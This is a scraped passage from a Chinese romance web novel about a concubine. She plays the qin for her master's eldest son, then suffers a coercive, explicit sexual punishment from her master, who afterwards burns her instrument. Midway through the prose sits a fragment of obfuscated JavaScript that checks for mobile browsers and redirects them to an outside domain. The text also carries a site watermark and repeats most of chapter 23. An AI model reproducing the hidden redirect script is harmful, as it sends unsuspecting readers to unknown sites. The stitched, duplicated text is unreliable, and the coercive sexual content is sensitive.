管家心上一跳,不自觉向后退了一步,试探道,“四姨娘如今在院外侯着,大人可命她进来?” 林远舟起身,放下手中公文,良久才道,“她愿意留下,就让她在院外侯着。” 管家略微颔首,方要问他是否要继续休息,却见自从痊愈后几日卧床不起的男人站起身,神色冷漠,向书房走去。 背影挺拔,不见半分憔悴之色。 分明五姨娘在时,大人面色苍白,一副离不开人需要照顾的模样,但眼下如往日那般,周身透着冷意,又变回那副不近人情的模样。 仿佛之前都是装出来的…… 20. 21章 小妹知道她要走,本想一齐跟过来,但眼下已入秋,天色愈发冷,道舍寒苦,徐可心命她留在院中等自己回来。 徐念安不愿意,扯着她的袖子不撒手。 徐可心只能说道舍清苦,若她跟去,自己难以分神照顾她。 话很重,徐念安听完小脸皱巴巴的,良久后不情不愿地松了手。 送走她时,徐念安保证说自己会乖乖留在院中等她回来,不会跑出去闯祸,让她安心。 后山道观。 嬷嬷未说她到底祈福几日,徐可心只能做好长久住在道观的准备,带上衣物和那把蕉叶状古琴。 嬷嬷说大夫人命她清修,让她一人独自前去,未让丫鬟陪同。 小厮帮她将琴搬到道舍后,又帮她清扫庭院,没有像上次一样丢下她就走了。 道观祈福的大殿在瀑布上方,道长和道童也住在山上,她所住的道舍临近瀑布,常年无人居住。 入秋后,山上的枝叶落在湖里,飘飘荡荡的,半边伏在水中,半边覆着尘土,干净又肮脏。 水很冷,携着寒气。 徐可心抬着木桶去湖边取水,有了上次的教训,她只抬了半桶。 她小心拎着裙摆,避免被水溅湿。 道舍只有她一人,早中晚道童会上门送饭给她,之后再无人到访。 徐可心白日在大殿里抄诵经文,回了道舍后,无事可做,只坐在琴前自顾自弹琴。 母亲的琴艺在京中闻名,得了母亲的传授,她也自幼学琴。 她的琴艺算不得高超,中规中矩,可在人前演奏,也可在独处时排解愁绪。 秋月高悬,今夜难得无风。 吟猱撞逗,琴声顺着门间缝隙传了出去,静谧深沉,在秋夜格外清晰,四下无人,她也不必忧虑会惊扰旁人。 她眉眼低垂,心上惦念大人的身体,琴声也不自觉带上几分郁郁寡欢的愁绪。 不知过了多久,屋外忽得传来脚步声。 沉稳的敲门声在门外响起,琴声戛然而止。 徐可心站起身,走至门前,看着门上倒映的颀长身影,没有立刻开门,小心问,“烦问来人是?” “我是林怀瑾。” 熟悉清朗的声音从门外传来,徐可心面上的警惕霎时消散。 房门被打开,身着蓝衣的公子站在门外,眸色清明,垂眼看着她。 徐可心眸色不解,“公子为何在道观?”她记得下人说过,公子离府不在院中。 林怀瑾没有抬步走进,只站在门外,同她保持一个不远不近的距离,不会让她感到冒犯,也不会让她认为疏远。 “处理完官府的堆积的公务,回观中清修一段时日。”他平声解释。 未想到他会回答自己,且这般认真……徐可心不知说什么,只微微点头。 两人站在门前,沉默无声。 他深夜乘月上门,夜扣门扉,却未立刻说出意图。 他未再开口,只低头注视她,徐可心莫名有些紧张,垂眸盯着地面,良久后才问,“不知公子深夜拜访所谓何事?” 林怀瑾站在门外,闻言没有隐瞒道,“方才怀瑾在亭中赏月,偶听佳音,心有所感寻声至此。” “以为抚琴者是观中道长,未曾想过开门之人是五姨娘。” 他话语坦白直接,徐可心攥紧衣服,指骨微微蜷缩,小声问,“是扰了公子的雅兴吗?若是如此……” 她方要道歉,说不会再弹奏了,男人先道,“没有。” “只是姨娘琴艺绝伦,怀瑾不曾听此天韵,不禁寻声上门。” “如有冒犯之处,还请姨娘宽恕。” 他态度诚恳,面色沉静,为自己的唐突道歉,没有丝毫轻慢。 徐可心面色微怔,知晓他是因为喜欢自己的琴声才敲门,心上松了口气,面色也不自觉放松些许。 “不曾冒犯,公子多礼了。”她轻笑说。 “承蒙公子垂青,妾身琴艺粗陋,算不得天韵。”徐可心扶着门,垂眸轻声道,“若公子无事,夜色已深,妾身先入寝了。” 林怀瑾没有立刻离开,半边身子恰巧挡在门前。 徐可心只堪堪到他的肩膀,眼下她要关门,不可避免靠近他,只上前一步,就走进男人垂下的身影中。 月华尽数落在眼前男人的身后,徐可心走至他的阴影之下,好似走入他的界限之内,心弦莫名绷紧。 她低垂眉眼,不敢同他对视,攥紧门复又轻声道,“公子,应入寝了。” 男人的目光长久地落在她身上,令人难以忽视,闻言退后一步。 她方要关上门,一只修长的手忽得抬起,抵在门前,阻止她的动作。 徐可心眸色微怔,不解抬眸,却听他问,“不知姨娘方才所弹琴曲谓之何名?” 她关门的动作一顿,坦白道,“妾身随心弹奏,未有曲名。” 男人微微皱眉,良久后叹了口气,带着几分失落。 若非离得近,她疑心是自己的错觉。 见他仍站在门外,徐可心犹豫片刻,终究忍不住问,“公子为何叹气?” 林怀瑾闻言坦诚道,“实不相瞒,姨娘所弹琴曲雅致脱俗,格外称心。” “怀瑾本想问询曲名,寻琴师弹奏。既是姨娘所作之曲,天色已深,怀瑾便不多叨扰了。” 他微微拱手,转身就要离开。 不曾想过对方会为了她的琴声上门,见他背影失落,徐可心下意识伸手扯住他的袖子,“公子留步。” 声音算不得大,但在四下无人的秋夜中格外清晰,林怀瑾停下脚步,转身看她。 对上他冷然不解的目光,徐可心紧抿唇,斟酌良久才鼓起勇气轻声道,“妾身之后数日都会宿在此处,于观中祈福。” “若公子不弃,明日午时在此等候,妾身将此琴谱赠予公子。” 好似未料到她会这么说,男人眸色一怔,随后躬身行礼,态度恭敬诚恳,“怀瑾谢过姨娘。” 自她入了教坊司后,鲜少有人在对她以礼相待,徐可心受宠若惊,下意识扶住的手臂,触碰的瞬间又发觉两人过于亲近,连忙收回自己的手。 “公子不必多礼。” 她只紧张地攥住袖子,浅笑道,“明日未时在此等候公子,还望公子勿要失约。” 林怀瑾闻言,郑重地说了声不会。 见他眸色真诚,徐可心哑然,未想到大公子也喜听琴,她轻轻嗯了一声,应了下来。 待他走后,徐可心阖上门,背靠房门,深深舒了口气。 她少时就怕林长公子,认为他端正冷漠,同大人一样不近人情。 可今夜他为琴曲主动上门,又让徐可心觉得,这人好似也未同传闻中那般古板教条。 临睡前,她寻了纸笔,坐在桌前认真记下琴谱后,才上床入寝。 隔天午后,徐可心祈福后回到道舍,下山时远远望去,却见林怀瑾站在道舍门前,负手而立,不知等了多久。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559189|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐可心走上前,未等唤他,对方好似先有所察觉,转身看了过来,四目对视,唤了一声五姨娘。 声音很低很沉,带着几分哑,好似在外面等了许久。 徐可心走上前行礼,从怀中拿出昨夜写下的琴谱,递到他面前。 林怀瑾抬手接过,无声看了半晌后,抬眸低声问,“此曲无名?” 徐可心微微点头,她昨夜惦念大人,才随心弹奏此曲。 若深究下去,倒也算作闺阁之曲,但怕长公子面上露出嫌恶,徐可心不敢告诉他弹琴时的心境。 得了她的话,林怀瑾又看了琴曲良久,忽然盯着她道,“可劳烦姨娘抚琴,为怀瑾弹奏此曲?” “……啊?” 徐可心面色霎时涨红,红意从耳尖蔓延至脖颈。 这琴曲……是为大人所弹,如何能为公子弹奏,何况曲中含情,于情于理都不应为他奏曲。 徐可心支支吾吾,不敢告诉他曲中琴意,但对上林怀瑾没有半分私情的目光,她又说不出拒绝的话。 徐可心长久不应,好似看出她的为难,林怀瑾温声解释,“怀瑾只是认为此曲出自姨娘之手,没人比姨娘更能领悟曲中之意。” 他不知情,说出的话赤诚直白,独留徐可心一人窘迫难堪。 想到这人不知曲中意,只想听琴并无冒犯之意,徐可心深呼一口气,良久微微点头,说了声好。 几乎瞬间,林怀瑾眼中浮现笑意,诚恳道谢。 徐可心慌乱躲避他的目光,去屋中取琴,只想快些弹完,好让他离开。 秋日无风。 徐可心坐在石桌前,垂着眉眼,抚上琴弦。 临山伴水,琴声融入落下的溪流中,哀怨婉转。 林怀瑾站在她身侧,无声注视她。 徐可心知晓他在看琴,但还是莫名紧张,只觉他的目光分外直白,令人难以忽视,尤其她心上忐忑,怕他听出曲中意,知晓这是首缠绵悱恻的琴曲。 她心上挣扎,低垂眉眼,不敢看他一眼。 林山碧湖前,一人抚琴,一人站在一旁安静倾听,背靠秋色,远远望去,才子佳人倒也格外般配。 山中亭上,男人站在高处,居高临下俯视湖边二人,手中扳指微微转动,不知在想什么。 管家站在一旁,躬着腰身,小心窥着身旁男人的面色,大气都不敢喘。 管家想下山提醒两人,可没有大人的命令,他也只能蜷缩着脑袋默默守在一旁。 白日他下朝后,直接向后山走去。 知晓他前去后山是为了见五姨娘,管家连忙跟来,谁成想见到这一幕。 良久后,琴声停止。 林怀瑾复又同她道谢,说还有公务在身,先告辞了,改日再携礼答谢姨娘。 徐可心说不必多礼,林怀瑾却未应。 见他面色执着,徐可心话语一噎。 望着他远去的背影,徐可心长舒了口气,她抱起古琴,方要回道舍,身前忽得传来不紧不慢的脚步声。 以为林怀瑾去而复返,徐可心未多加在意,转身的瞬间却猝不及防对上一双冷漠的眉眼。 看清来人,她面色霎时惨白,微微惊呼一声,“大人?” 男人站在不远处,眉眼低垂,眸中没什么情绪,看不出喜怒,不知道站在那里多久了。 想到曲中之意,她的心上莫名有种偷情被发现的无措之感,徐可心面色苍白,只觉心跳得格外快,手也格外酸软。 22、22章 道观内。 徐可心踉跄步子被扔到床上,她扑在软被上紧张回头,却见对方缓步上前,站在床前俯视她。 林远舟脱下外衣,随手扔到一旁,面上依旧没什么情绪,但手上的力气很重,攥紧她的腿弯将她拖到床前。 徐可心根本没有反抗的力气,不知晓大人眼下的情绪是好是坏,她根本不敢吭声,只仰着头慌乱地仰视他。 林远舟向前迈了一步,站在她的腿间,俯身扶住她的下颌。 徐可心被迫仰着脖颈,紧张地回视他,僵硬地唤了一声大人。 林远舟无声看了她半晌,语气没有起伏问,“离开教坊司仍认为自己是官妓,见到男人便摇尾讨好?” 没有情绪的话在面前传来,未想到他会直白地说出这样一番话,徐可心的面色霎时僵硬,怔愣地看着眼前的男人。 过了良久,她才堪堪找回自己声音,些许狼狈地解释,“没有大人,妾身自知身份卑微,只想尽心服侍大人,不曾想过讨好长公子……” 男人垂眼看她,也未说信不信。 “书痕诉意,琴韵含情。” “可心又作何解释?” 他边说,边抚上她的唇角,不断用指腹重重摩挲。 佩戴扳指的手指直接探了进去,压在她的舌根上。 喉咙骤然紧缩不停,冰冷没有余热的玉扳指正正好好压在舌面上,让她既无法闭口,也无法开口讲话,徐可心余下的话被堵在口中,一句话都无法说出,只能呜呜絮语。 她眸色恳求地看向男人,求他松手,可对方不仅未拿走,反而又探入几分,喉咙的异物感极为强烈,疼得她眼泪直流。 “喜好弹琴?”男人冷着眉眼,语气没有起伏问。 徐可心不明白他为何这样问,可对上他没有情绪的目光,下意识摇头,喉咙里发出含糊的声音。 泪渍胡乱地蒙在脸上,一双眸子里盛满泪水,看起来格外可怜。 林远舟垂眸看着她,未再说什么。 过了片刻,男人忽得将她抱起,放在桌前。 徐可心背靠着琴,外衣敞开垂在手臂两侧,要掉不掉的,素来的胸脯直接露在男人面前,渗入屋内的冷风袭过,身子不自觉微微颤抖。 她的两条腿露在外面,一条腿垂在桌案上面,另外一条搭在男人的胸膛上,被他用力攥住腿弯,动弹不得。 腰背压着琴弦,裂帛乍惊声断断续续在身下响起,耳边是厚重的喘息。 她手上那把琴是府上的珍藏,状如蕉叶,名唤疏云清影。 这琴是大人命人送到她院中的,自从徐可心得到后,每日小心擦拭养护,将琴弦拉紧,生怕磕碰损坏这把琴。 可现在…… 徐可心浑身酸软不堪,头脑昏沉,已然顾不得身下的琴弦,虚虚抬起双臂,环住身前人的脖颈。 一开始琴弦划擦她的后背,她还感到些许疼痛,后来她的后背直接贴着琴身,又觉硌得慌。 不知过了多久,正当她累得昏昏欲睡时,身下忽得传来一声尖锐短促的断裂声,好似枝杈折断。 徐可心霎时清醒,呆愣地看着身前的男人,忽得意识到什么,她慌乱地看向身前的男人。 “大人,琴弦断了……”她语气很轻,细听还带着几分委屈。 这是她唯一的琴了。 男人的一只手臂撑在她身侧,揽着她的肩膀,修长的手搭在她的肩头上,扣住她的肩膀。 他只随意看了眼断裂的琴弦,随后语气淡漠道,“旧弦陈旧,的确不如新弦。” 乍一听,好似再说琴弦,但徐可心莫名认为他意在言外,话里还有别的意思。 旧弦为妻,新弦为妓。 她先是想到自己身上,面上也不自觉露出几分忐忑,不知怎么回答。 徐可心眸色怔然,直愣愣盯着他看,心思明显不在当下,忽得脸颊被不轻不重拍了拍,她才堪堪回神,却见男人垂眼看她,眼底情绪意味不明。 上次的情事在心上浮现,徐可心霎时回神,慌乱地握住男人的手腕,怕他再次起了兴致,微微偏头,主动用脸颊轻蹭他的手心。 林远舟无声看了她半晌,拍了拍她的后腰。 这是让她转身的意思。 得了他的指示,徐可心犹豫良久,才小心地转过身趴在琴上。 七根弦,断了两根,余下五根弦也早就被磋磨地松垮,落在琴身上。她的身子方贴上去,就被冰冷的琴身冻得身子战栗。 桌子本就高,又有木琴垫在她的肚子下面,她堪堪踮脚,才勉强支撑身子。 她扭着腰身,微微向下滑动些许,想踩到实地,忽得一巴掌落在身上,她向下挪动的动作霎时停止,安安静静趴在琴上,不敢乱动。 她以为自己听话,这人心上就不会生起惩罚她的心思,等身后被打的肿胀不堪时,她才趴在桌案上,费力踮脚,委屈地哽咽不停。 大人根本不讲道理。 她想哭,可男人的手指卡在她的牙齿之间,压着她的舌根,根本哭不出来。 她心上不满,想要咬他的指骨,牙齿快要贴上去时,又有些舍不得,方要松开口,最深处忽得被填满。 徐可心身子一僵,下意识咬了下去。 太过突然,她未来得及收力,等意识到自己做了什么,徐可心慌乱张开口。 口中指骨随即退了出去,上面留下一个很深的牙印。 男人垂眸打量手指的齿痕,良久无言。 自知做了错事,徐可心偏过头,不敢和他对视。 过了半晌,男人揽住她的腰,将她直接从桌案上抱了起来,向床边走去。 身子腾空,徐可心下意识环住男人的肩膀,埋首在男人的颈侧,难耐不适地咬上他的肩膀。 男人面色不变,只瞥了她一眼,任由她咬着。 道舍四周无人,白日宣淫,她心上还有几分忌惮,埋首咬着被子,压着喉咙里的声音。 可不知是不是她的错觉,大人今日格外难缠,不曾收力,直到听到她求饶声,才漫不经心收敛几分…… 徐可心不知晓自己何时睡过去的,再醒来时临近凌晨,屋内灰蒙蒙的,勉强看清四周。 她怔愣良久,起身下床,擦拭身体。 床上狼藉不堪,她面色微红,抱着满是脏污的外衣方要去湖边清洗,一个硬物从软被上滑下,落在地上。 她俯身捡起,认出这是大人昨日佩戴的扳指。 昨夜这东西还被大人推到……她的身体里。 徐可心微微摇头,强迫自己不去想昨日的事情,目光掠过空无一物的桌案上,眸色微怔,却未看到她的琴。 四处寻找无果,疑心是大人命人搬走了,她轻轻叹息,抱着衣服向门外走去。 方打开门,浓重的焦木味扑面而来。 一个灰堆安置在门前,她方才寻了半晌的木琴,此时堆在灰烬中,只余下半截焦黑的琴身。 手中的衣服掉落在地,她快步上前,怔愣地盯着灰烬中残缺的木琴,霎时猜到是谁做的,难言的委屈霎时蔓延至心头。 她跑去屋中端了半盆水倒在余烬上,不顾琴上土灰,取出剩下的半截琴身。 她站在灰烬旁,知晓不会有人过来,未在压抑心上的委屈,直接哭了起来。 炭灰沾染她的衣服,徐可心也顾不得,只垂着脑袋,抱着琴身哽咽不停,湿漉漉的水掺杂炭灰融成黑水,垂落在她的衣服上。 琴本就不是她的,而是大人的,她本就无权干涉大人如何处置这把琴。 她只是很舍不得…… 忽得远处传来脚步声,她慌乱抬头,却见管家站在一旁,面色复杂地看她。 她连忙低头,用衣袖擦干面上的泪水,小声问,“钱管家前来所为何事?” 管家站在一旁,装作什么都未看见一般,解释道,“大人命我来取他留下的玉扳指,不知姨娘可瞧见?” 徐可心微微点头,走入房中,拿出那只玉扳指递给他。 管家未伸手接过,而是拿出一个木匣子,让她亲手放进去,合上匣子后,管家也未多问,直接转身离开了。 书房内。 管家拿着木匣子回去复命,“大人,东西取回来了。” 男人坐在桌前,眼也未抬,漫不经心地嗯了一声。 管家站在一旁,离开前犹豫良久,才道,“大人,方才小人去取东西时,见五姨娘抱着一块木炭哭个不停,可要仔细问问因何伤心难过?” 他说完,男人坐在桌前,依旧看着手中的公文,并未说什么。 管家见状,知晓这是不用理会的意思,推门退了出去。 待他离开良久,林远舟放下公文,拿起桌案上的木匣子。 玉扳指安安静静摆放在里面,上面还留有余温,一抹不起眼的炭灰落在上面,林远舟看了半晌,并未擦拭,抬手合上木匣。 琴被毁了,徐可心一整天闷闷不乐,连唯一的乐趣也被烧毁了,她索性将大殿的经书带回了道舍,坐在屋内抄诵。 过了午时,她方用过午膳,房门忽然被敲响。 她不解起身,推开门却见林怀瑾站在门外,手中捧着一个锦匣。 她面色困惑,“不知公子前来所为何事?” 林怀瑾未多言,拨弄匣口。 咔嚓一声,却见匣内堆积各色珠玉首饰,满满一匣子,多得几乎快要溢出来。 没有一件俗物,皆为上等珠玉,甚至比她过去在家中佩戴的首饰都要贵重。 徐可心眸色怔然,“公子……这是?” “谢礼。”林怀瑾言简意赅道。 徐可心闻言,眸子霎时瞪大,“只是一张琴谱而已,如何能比得上这箱首饰,公子说笑了。” 她边说,边下意识退后一步,慌乱摆手,“妾身不会收下公子的谢礼,还请公子带回。” 林怀瑾看了眼她退后的脚步,缓步上前。 她心上慌乱,正要以为这人要走进时,林怀瑾停下脚步,停在门槛前,并未越过去。 林怀瑾站在门外,看着她温声道,“只是寻常首饰,姨娘不必顾虑。” 哪里寻常?徐可心紧抿着唇,从未想过长公子也会说胡话。 她不接受谢礼,男人只站在门前,沉着眉眼盯着她,大有一副她不收下他就不走的意思。 他虽未再靠近,但站在门前,挡住她的去路,让徐可心只能面对他,无法逃避,连关门都做不到。 莫名的压迫感袭上心头,她无措地站在原地。 徐可心忽然有种被他压制的错觉,她疑心自己太怕长公子了,心上才会这般慌乱。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 23、23章 “长公子……你的谢礼太贵重了,妾身受之有愧,日后也难以回礼,还望长公子收回。” 徐可心边说边向后退,直到腰背抵上桌案,才堪堪停止脚步,眉眼低垂盯着地面,不敢去看门外之人的面色。 “姨娘言重了。” “谢礼算不得贵重,也无须回礼。昨日回去后,怀瑾仍旧记挂此曲,寻了琴师弹奏此曲,但终究不尽相同,少了些许韵味。” “若姨娘介怀,不如再为怀瑾弹奏一曲?” 林怀瑾态度诚恳,不疾不徐说出这一番话,没有丝毫轻慢,好似于他而言,这首琴曲价值千金,甚至比他手中的珠玉首饰还要贵重。 若未发生昨夜之事,见他如此恳求,徐可心认为自己兴许会答应,可现在…… 想起自己已经被焚毁的琴,徐可心攥着桌子边缘,良久后才轻声道,“公子,妾身的琴……不小心被摔断了,眼下已经无法为公子弹奏了。” 提到那把被焚毁的琴,她的面色也不自觉低落些许。 好似察觉到她的异样,门外之人忽得沉默,没有再追问。 过了半晌,才听他道,“既然姨娘不喜珠玉首饰,恰巧怀瑾认识一位手艺精湛的斫琴师,不知可否用琴作为谢礼?” 斫琴师? 徐可心本低垂的头霎时抬起,下意识看向林怀瑾。 她方要答应,可话到嘴边,却突然想到,能被林长公子认识的斫琴师又怎会是寻常匠人,所做之琴也定非凡品。 若是比林怀瑾手中的首饰还要贵重,她就更还不清了,她心上犹豫不决,迟迟不敢应下。 好似看出她的顾虑,未等她开口,林怀瑾先道,“斫琴师是旧友,亦是嗜琴之人,斫琴不只为生计,也为知己。” “昨日此人恰巧也在,听闻姨娘所作琴曲,也觉耳目一新,怀有结交之意,询问姨娘名讳,但没有姨娘准许,怀瑾并未告知。” “他为此深感遗憾,若知晓可为姨娘制琴,想必也会欢喜。” 林怀瑾不紧不慢讲述,声音平稳有力,顷刻之间打消她心上的顾虑。 徐可心太想要拥有一把自己的琴了,可自知囊中羞涩,又买不起一把好琴。 心中渴望难耐,根本抵不住林怀瑾话里的引诱,只觉新琴已在眼前浮现,不日便会送到她手中。 徐可心垂着眉眼,良久后不好意思地轻轻嗯了一声。 她的声音很轻,还透着几分窘迫,林怀瑾抬眼,收起手中锦匣,温声解释,“制琴之事是怀瑾的提议,所做之琴也是怀瑾的谢礼,姨娘不必烦忧回礼。” “只接受怀瑾的好意即可。” 他眸色平静,未透出半分旁的心思,可说出的话格外体贴周到,顾虑到她眼下的难堪之处,维护她的体面。 心上的畏惧逐渐褪去,徐可心小心望着站在门前的男人,忽得想起那夜他说过的话。 受了委屈苛责可以去寻他。 徐可心知晓,他的话没有别的深意,只是为人如此,恪守礼节,见不得有人受辱,可尽管如此,心上还是不自觉因他的话有所触动。 她正愣神时,男人忽得开口,“姨娘,怀瑾今日前来,还有一事相问。” 徐可心回过神,下意识道,“何事?” “想问姨娘曲中琴语,抚琴时的心境。”他平声陈述。 “……” 徐可心话语一噎,未想到他会提起琴语,这段时日长公子的确帮了她许多,但她仍记得,初见面时这人想要赶她离开。 她如何能告诉长公子,抚琴时她正惦念大人,若说了出去,这人定会被气到。 徐可心面色微红,支支吾吾半晌,也未想好怎么回答他。 她长久不答,林怀瑾只站在一旁,耐心等她开口。 过了良久,她才垂下眉眼,轻声含糊道,“随心弹奏,已经忘记了。” 可若真得不记得,没道理还会写下琴谱,无论谁听,此曲都极其伤感。 不知想到什么,林怀瑾直接道,“可是母亲罚姨娘在此抄诵经文,姨娘心中委屈?若是如此,待我回去,便求母亲收回成命,令姨娘回后宅……” 徐可心闻言,眸色怔然,立即打断他的话,“不可!” 若长公子为她求情,夫人一定会怪罪她,到时更不知何时才能回后宅。 “为何不可?”林怀瑾不解皱眉。 她心上焦急,又不知怎么和林怀瑾解释,只慌乱道,“妾身此番前来道观,是为了给大人祈福,妾身心甘情愿留在道舍。” “公子误会了,不曾有人逼迫妾身。”徐可心话语不停,生怕说得晚了,林怀瑾就前去正院为她求情。 林怀瑾无声看了她半晌,良久后才轻声叹气,“是怀瑾误解了。” “若姨娘不嫌弃,怀瑾院中珍藏一把琴,明日命人送至姨娘手中。” 徐可心方要拒绝,林怀瑾先道,“待新琴修好,姨娘再还给怀瑾也不迟。” 她最近的确无琴,三天不练则手生,徐可心这次没有再拒绝,轻声道,“谢过公子好意。” 林怀瑾还有公务在身,未再久留,说明日会命小厮将琴送至她手中,走时带走了那匣首饰。 “她未收下?” 临竹轩。 方从国子监回来的林昭明站在书房内,背靠书架握着锦匣,眸色不解,“还有女人不喜欢珠玉首饰?” 他分明记得在过去,那笨女人不管走到哪里,都带着那枚玉佩,衣着也格外鲜艳俗气。 林昭明因此以为,全天下的女人都和徐可心一样,也爱珠玉首饰。 在得知长兄四处问人,女人喜欢什么东西时,林昭明信誓旦旦说,挑选贵重首饰即可。 不知为何,在他开口后,长兄竟真得接受了他的提议,还劳烦他前去置办首饰。 大哥素来清心寡欲,林昭明以为他有了心上人,于是特意命人置办了各色珠玉,越贵重越好。 本以为那女子不说立刻答应,也会收下这匣首饰,没想到锦匣竟被退还。 林昭明笑问,“大哥,那女子到底是哪家的小姐,让你这般上心?” 林怀瑾执笔的动作一顿,眼也不抬道,“并未上心,只是谢礼。” 林昭明根本不信他的话,但见他不愿多谈,也未再问。 “父亲此番假病在床,未去上朝,那几个歪心思的果然开始另寻二主,眼下已经被贬官革职,一一肃清。” “暮秋便是父亲的生辰,也不知道余下几个漏网之鱼敢不敢上门庆贺。”林昭明站在桌前,自顾自道。 林怀瑾未理会他的话,只看向一旁的小厮,平声吩咐,“去库房里拿出我的那把古琴。” “大哥拿琴做什么?”林昭明笑问,面上还带着几分调侃,“不会是要送给那位女子罢?” 话音刚落,不知道是不是他的错觉,林昭明总觉得大哥看他的眼神很怪,好似要说什么,但最后什么也未说。 林昭明疑心自己看错了,又同他简单闲聊几句,告辞回了国子监。 徐可心在道观里祈福近七日,才被管家叫了回去。 管家说大人如今已经彻底痊愈,命她回宅院,不必在道观祈福,还告诉她大人这几日格外忙碌,让她晚上伺候时小心些,别惹大人不悦。 不知道管家为何告诉她这些,但徐可心一一记在心里,可明显管家多虑了,大人近几日并未去她院中,甚至未回府。 这日天色格外好,下人回来说,一位大臣送来几件东西,其中有一把古琴,做工精良,不似凡品。 “姨娘善琴,不如前去向大人索要?”那人提议道。 徐可心坐在石桌前,抚琴的指尖一顿,闻言轻轻嗯了一声,命他退下。 她如今已经有琴了,不必再惦念旁人的琴,况且长公子答应她,会送琴给她。 她坐在院中石桌前,心上闲适,弹出的曲子也格外舒缓。 忽得门外传来一阵急促脚步声,徐可心循声看去,却见四姨娘迈着大步向院中走来,眸中盛满怒气,“好啊,原来方送到府中的那把琴被你求来了?” 徐可心微微蹙眉,不解道,“姨娘认错了,此琴并非你所说的那把古琴。” 四姨娘快步上前,根本未理会她的话,伸手就要夺过去。 手悬在半空时,却忽得停了下来。 她盯着桌上的古琴,面色古怪,直接质问道,“这琴怎么在你这里?” 见她直愣愣盯着桌上的琴,徐可心面色不解,“姨娘认识这把琴?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 23.23章 “长公子……你的谢礼太贵重了,妾身受之有愧,日后也难以回礼,还望长公子收回。” 徐可心边说边向后退,直到腰背抵上桌案,才堪堪停止脚步,眉眼低垂盯着地面,不敢去看门外之人的面色。 “姨娘言重了。” “谢礼算不得贵重,也无须回礼。昨日回去后,怀瑾仍旧记挂此曲,寻了琴师弹奏此曲,但终究不尽相同,少了些许韵味。” “若姨娘介怀,不如再为怀瑾弹奏一曲?” 林怀瑾态度诚恳,不疾不徐说出这一番话,没有丝毫轻慢,好似于他而言,这首琴曲价值千金,甚至比他手中的珠玉首饰还要贵重。 若未发生昨夜之事,见他如此恳求,徐可心认为自己兴许会答应,可现在…… 想起自己已经被焚毁的琴,徐可心攥着桌子边缘,良久后才轻声道,“公子,妾身的琴……不小心被摔断了,眼下已经无法为公子弹奏了。” 提到那把被焚毁的琴,她的面色也不自觉低落些许。 好似察觉到她的异样,门外之人忽得沉默,没有再追问。 过了半晌,才听他道,“既然姨娘不喜珠玉首饰,恰巧怀瑾认识一位手艺精湛的斫琴师,不知可否用琴作为谢礼?” 斫琴师? 徐可心本低垂的头霎时抬起,下意识看向林怀瑾。 她方要答应,可话到嘴边,却突然想到,能被林长公子认识的斫琴师又怎会是寻常匠人,所做之琴也定非凡品。 若是比林怀瑾手中的首饰还要贵重,她就更还不清了,她心上犹豫不决,迟迟不敢应下。 好似看出她的顾虑,未等她开口,林怀瑾先道,“斫琴师是旧友,亦是嗜琴之人,斫琴不只为生计,也为知己。” “昨日此人恰巧也在,听闻姨娘所作琴曲,也觉耳目一新,怀有结交之意,询问姨娘名讳,但没有姨娘准许,怀瑾并未告知。” “他为此深感遗憾,若知晓可为姨娘制琴,想必也会欢喜。” 林怀瑾不紧不慢讲述,声音平稳有力,顷刻之间打消她心上的顾虑。 徐可心太想要拥有一把自己的琴了,可自知囊中羞涩,又买不起一把好琴。 心中渴望难耐,根本抵不住林怀瑾话里的引诱,只觉新琴已在眼前浮现,不日便会送到她手中。 徐可心垂着眉眼,良久后不好意思地轻轻嗯了一声。 她的声音很轻,还透着几分窘迫,林怀瑾抬眼,收起手中锦匣,温声解释,“制琴之事是怀瑾的提议,所做之琴也是怀瑾的谢礼,姨娘不必烦忧回礼。” “只接受怀瑾的好意即可。” 他眸色平静,未透出半分旁的心思,可说出的话格外体贴周到,顾虑到她眼下的难堪之处,维护她的体面。 心上的畏惧逐渐褪去,徐可心小心望着站在门前的男人,忽得想起那夜他说过的话。 受了委屈苛责可以去寻他。 徐可心知晓,他的话没有别的深意,只是为人如此,恪守礼节,见不得有人受辱,可尽管如此,心上还是不自觉因他的话有所触动。 她正愣神时,男人忽得开口,“姨娘,怀瑾今日前来,还有一事相问。” 徐可心回过神,下意识道,“何事?” “想问姨娘曲中琴语,抚琴时的心境。”他平声陈述。 “……” 徐可心话语一噎,未想到他会提起琴语,这段时日长公子的确帮了她许多,但她仍记得,初见面时这人想要赶她离开。 她如何能告诉长公子,抚琴时她正惦念大人,若说了出去,这人定会被气到。 徐可心面色微红,支支吾吾半晌,也未想好怎么回答他。 她长久不答,林怀瑾只站在一旁,耐心等她开口。 过了良久,她才垂下眉眼,轻声含糊道,“随心弹奏,已经忘记了。” 可若真得不记得,没道理还会写下琴谱,无论谁听,此曲都极其伤感。 不知想到什么,林怀瑾直接道,“可是母亲罚姨娘在此抄诵经文,姨娘心中委屈?若是如此,待我回去,便求母亲收回成命,令姨娘回后宅……” 徐可心闻言,眸色怔然,立即打断他的话,“不可!” 若长公子为她求情,夫人一定会怪罪她,到时更不知何时才能回后宅。 “为何不可?”林怀瑾不解皱眉。 她心上焦急,又不知怎么和林怀瑾解释,只慌乱道,“妾身此番前来道观,是为了给大人祈福,妾身心甘情愿留在道舍。” “公子误会了,不曾有人逼迫妾身。”徐可心话语不停,生怕说得晚了,林怀瑾就前去正院为她求情。 林怀瑾无声看了她半晌,良久后才轻声叹气,“是怀瑾误解了。” “若姨娘不嫌弃,怀瑾院中珍藏一把琴,明日命人送至姨娘手中。” 徐可心方要拒绝,林怀瑾先道,“待新琴修好,姨娘再还给怀瑾也不迟。” 她最近的确无琴,三天不练则手生,徐可心这次没有再拒绝,轻声道,“谢过公子好意。” 林怀瑾还有公务在身,未再久留,说明日会命小厮将琴送至她手中,走时带走了那匣首饰。 “她未收下?” 临竹轩。 方从国子监回来的林昭明站在书房内,背靠书架握着锦匣,眸色不解,“还有女人不喜欢珠玉首饰?” 